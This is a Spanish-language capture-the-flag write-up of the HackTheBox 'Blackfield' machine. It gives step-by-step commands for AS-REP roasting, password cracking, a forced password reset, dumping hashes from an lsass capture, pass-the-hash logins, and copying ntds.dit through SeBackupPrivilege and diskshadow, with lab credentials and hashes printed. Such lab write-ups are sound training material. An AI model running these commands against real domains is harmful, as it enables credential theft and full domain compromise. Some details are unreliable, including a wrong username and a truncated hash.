lund@home:~$

Autor: Lund K. S.

HTB_Blackfield HTB_Blackfield | Hacker-Blog

HTB_Blackfield

Blackfield {-}

Introduccion {-}

La maquina del dia se llama Blackfield.

El replay del live se puede ver aqui

S4vitaar Blackfield maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.192

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.192

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.192 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p53,88,135,139,389,445,593,3268,49676 10.10.10.192 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
53 domain Domain controller rpcclient null session  
88 Kerberos asproasting attack lista de usuarios validos
135 msrpc    
139 netbios    
389 LDAP Bloodhound credenciales
445 smb Null session  
593 ncacn_http    
3268 ldap    
5985 WinRM evil-winrm credenciales
49676 ncacn_http Puertos por defecto de windows  

Buscando ususarios con rpcclient y rpcenum {-}

rpcclient -U "" 10.10.10.192 -N

rpcclient $> enumdomusers

Como no nos deja unumerar cosas con el null session vamos a necesitar credenciales validas para poder hacerlo

Analyzando el SMB {-}

crackmapexec smb 10.10.10.192
smbclient -L 10.10.10.192 -N

Vemos que estamos en frente de una maquina Windows 10 Standard de 64 bit pro que se llama DC01 en el dominio BLACKFIELD.local. Añadimos los dominios blackfield.local y dc01.blackfield.local a nuestro /etc/hosts.

Tambien vemos recursos compartidos a nivel de red como:

  • ADMIN$
  • C$
  • forensic
  • IPC$
  • NETLOGON
  • profiles$
  • SYSVOL

Usando de la heramienta smbmap, podemos ver si tenemos accessos a estos recursos.

smbmap -H 10.10.10.192 -u 'null'

y vemos que denemos accesso con derecho de lectura a los recursos profiles$ y IPC$. IPC$ no es un recurso que nos interesa.

smbclient //10.10.10.192/profiles$ -N
dir

Aqui podemos ver registros que parecen ser directorios de ususarios.

Vulnerability Assessment {-}

Asproasting Attack {-}

Una vez que tenemos un listado de usuarios, podemos hacer un asproating attack

  1. copiamos todos los usuarios en un fichero llamado users

     nano users_dir
     Ctrl+shift+v
    
     cat users_dir | awk '{print $1}' > users
     rm users_dir
    
  2. Con GetNPUsers.py vamos a ver si podemos recuperar un TGT

     GetNPUsers blackfield.local/ -no-pass -usersfile users | grep -v "not found"
    

Aqui vemos el TGT del usuario support. Esto quiere decir que este usuario tenia el Don’t required pre-auth seteado. Copiamos todo el hash del usuario svc-alfresco en un fichero llamado hash y lo crackeamos con John

Crackeando el hash con John {-}

john -wordlists=/usr/share/wordlists/rockyou.txt hash

Aqui encontramos su contraseña. Ya podemos effectuar un Kerberoasting attack. Pero primero, como siempre, credenciales encontradas son credenciales que checkeamos con crackmapexec

crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'

Aprovechamos para ver si nos podemos conectar via winrm.

crackmapexec winrm 10.10.10.192 -u 'support' -p '#00^BlackKnight'

Aqui vemos que el usuario es valido y que tiene permiso de lectura sobre el directorio SYSVOL y que lo normal seria de buscar si existe un fichero groups.xml, porque a dentro tienes un cpassword=HASH que contiene un hash que se podria crackear con la heramienta gpp-decrypt pero Tito no adelanta que no es el caso no se aplicaba.

Kereroasting attack {-}

Los ataques Kereroasting se pueden manejar con la utilidad GetUserSPNs.py

GetUserSPNs.py blackfield.local/support:#00^BlackKnight@10.10.10.192 -request -dc-ip 10.10.10.192

Esta utilidad nos retorna un mensaje como que no son las buenas credenciales.

Enumeracion de usuarios con rpcclient {-}

Ahora que tenemos credenciales validas, intentamos connectarnos al rpcclient

rpcclient -U "support%#00^BlackKnight" 10.10.10.192

> rpcclient $> enumdomusers

Ahora podemos ver la lista de los usuarios registrados a nivel de systema. Buscamos usuarios del grupo Admins via la busqueda de los diferentes grupos.

> rpcclient $> enumdomgroups

copiamos el rid del grupo Domain Admins

> rpcclient $> querygroupmem 0x200

Aqui podemos ver el rid del usuario que hace parte del grupo admin.

> rpcclient $> queryuser 0x1f4

Vemos quel usuario es Administrator, pero lo hacemos para saber si hay otros usuarios administradores pero aqui no es el caso.

Enumeracion del systema con bloodhound-python para ganar acceso a la maquina {-}

Con la utilidad bloodhound-python, podemos enumerar cosas si tener que estar connectado a la maquina victima.

  1. instalamos bloodhound

     pip3 install bloodhound
    
  2. lanzamos bloodhound-python

     bloodhound-python
     bloodhound-python -c ALL -u support -p '#00^BlackKnight' -ns 10.10.10.192 -dc dc01.blackfield.local -d blackfield.local 
    

    esto nos crea un reporte en formato json.

  3. instalamos bloodhound y neo4j

     sudo apt install neo4j bloodhound
    
  4. lanzamos neo4j service

     sudo neo4j console
    
  5. lanzamos bloodhound

     bloodhound --no-sandbox &> /dev/null &
     disown
    
  6. connectamos bloodhound al neo4j database

  7. Drag & Drop de los ficheros .json hacia la ventana del bloodhound y en el Analysis tab

    • Find Shortest Paths to Domain Admins
    • Find Paths from Kerberoastable Users
    • Find AS-REP Roastable Users

Aqui no vemos gran cosa, lo unico el usuario support que es asreproasteable pero poco mas. Analizamos los nodos de este usuario. Le damos un clic derecho al usuario y lo seteamos a Mark User as Owned. Vamos a Node Info y miramos donde hay un 1.

Vemos que el usuario support puede forzar un cambio de contraseña al usuario AUDIT2020

Forzar un cambio de contraseña con rpcclient {-}

rpcclient -U "support%#00^BlackKnight" 10.10.10.192

> rpcclient $> setuserinfo2 audit2020 24 s4vitar123$!

Ahora que hemos cambiado la contraseña, lo miramos con crackmapexec

crackmapexec smb 10.10.10.192 -u 'audit2020' -p 's4vitar123$!'

El cambio de contraseña a sido effectiva y ahora miramos que privilegios tiene en los recursos compartidos tiene a nivel de red.

smbmap -H 10.10.10.192 -u 'audit2020' -p 's4vitar123$!'

Vemos que este usuario tiene privilegios de lectura sobre el directorio forensic. Miramos lo que hay en este directorio.

Vuln exploit & Gaining Access {-}

Ganando accesso con Win-RM {-}

smbclient //10.10.10.192/forensic -U 'audit2020%s4vitar123$!'
dir
cd commands_output
get domain_users.txt
get domain_admins.txt
cd ..
cd memory_analysis
dir
get lsass.zip

Nos hemos descargados un fichero domain_users y un fichero domain_admins. Podemos ver un usuario iPownedYourCompany que nos hace pensar que esta maquina a sido comprometida anteriormente. Tambien vemos un directorio memory_analysis y un fichero nos llama la atencion. Este fichero es el lsass.zip. Nos llama la atencion porque hay una utilidad pypykatz con la cual podriamos ver informaciones relevantes dumpeadas a nivel de memoria.

unzip lsass.zip
pypykatz lsa minidump lsass.DMP

Aqui tenemos informaciones como usuarios y contraseña NT hasheadas. Los NT Hashes nos permiten hacer PassTheHash que simplemente seria connectarnos con el usuario poniendo la contraseña hasheada (No se necesita conocer la contraseña en este caso).

Vemos el hash del usuario Administrator. Controlamos esto con crackmap exec.

crackmapexec smb 10.10.10.192 -u 'Administrator' -H '7f1e4ff8c5a8e6b5fcae2d9c0472cd62'

Pero vemos que esta credencial no es valida. Vemos otro usuario svc_backup lo miramos.

crackmapexec smb 10.10.10.192 -u 'svc_backup' -H '9659d1d1dcd9250115e2206d9f49400d'

Esta credencial esta valida. Intentamos ver si nos podemos conectar con winrm

crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9659d1d1dcd9250115e2206d9f49400d'

Aqui vemos que este usuario es Pwn3d!

evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9659d1d1dcd9250115e2206d9f49400d'

whoami 
#Output
blackfield\svc_backup

ipconfig
#Output
10.10.10.192

Estamos conectados como el usuario svc_backup y podemos leer la flag.## Privilege Escalation {-}

Rootear la maquina {-}

cd C:\Users\Administrator
dir
cd Desktop
dir
type root.txt
whoami /priv

No podemos todavia leer el root.txt, pero tiene un privilegio muy interesante que es el privilegio SeBackupPrivilege. Teniendo este privilegio, podriamos hacer una copia (backup) de seguridad de elemento del systema como el NTDS que nos permitirian recuperar los hashes de los usuarios del systema, entre ellos el usuario Administrator.

cd C:\
mkdir Temp
cd Temp
reg save HKLM\system system

Aqui hacemos una copia del systema que es necesario para posteriormente dumpear los hashes NTLM del fichero ntds.dit. Intentamos copiar el fichero ntds.dit

copy C:\Windows\NTDS\ntds.dit ntds.dit
#Output
PermissionDenied!

Teniendo este privilegio y siguiendo la guia de la web pentestlab podemos tirando de robocopy en vez de copy, copiarnos este fichero. Creamos un fichero llamado example.txt y le ponemos los comandos siguientes.

set context persistent nowriters 
add volume c: alias savialias 
create 
expose %savialias% z:

[ ! ] NOTAS: Hay que tener cuidado con estos ficheros que enviamos en maquinas windows de siempre poner un espacio al final de cada linia para evitar problemas

dos2unix example.txt

y desde la maquina victima, subimos el fichero

upload example.txt
diskshadow.exe /s example.txt

Ya podemos ver que en Z:\ hay el mismo contenido que en C:\ y si tratamos de copiar el fichero ntds.dit con el comando copy z:\Windows\NTDS\ntds.dit ntds.dit nos arastra el mismo error. Pero usando del comando robocopy esto funcciona sin problemas.

robocopy z:\Windows\NTDS . ntds.dit
download ntds.dit
download system

[ ! ] NOTAS: Si el download no funcciona, siempre podemos tratar de montar un directorio compartido a nivel de red con impacket-smbfolder

Ya podemos dumpear el ntds con impacket-secretsdump

impacket-secretsdump -ntds ntds.dit -system system LOCAL

Ya podemos ver todos los hashes de los usuarios activos del systema.

crackmapexec winrm 10.10.10.192 -u 'Administrator' -H 194fb5e5179499be6424d4cd53b99e

Pwn3d!!!!

evil-winrm -i 10.10.10.192 -u 'Administrator' -H 194fb5e5179499be6424d4cd53b99e
whoami 
#Output
blackfield\administrator

Aqui hemos rooteado la maquina y podemos leer la flag.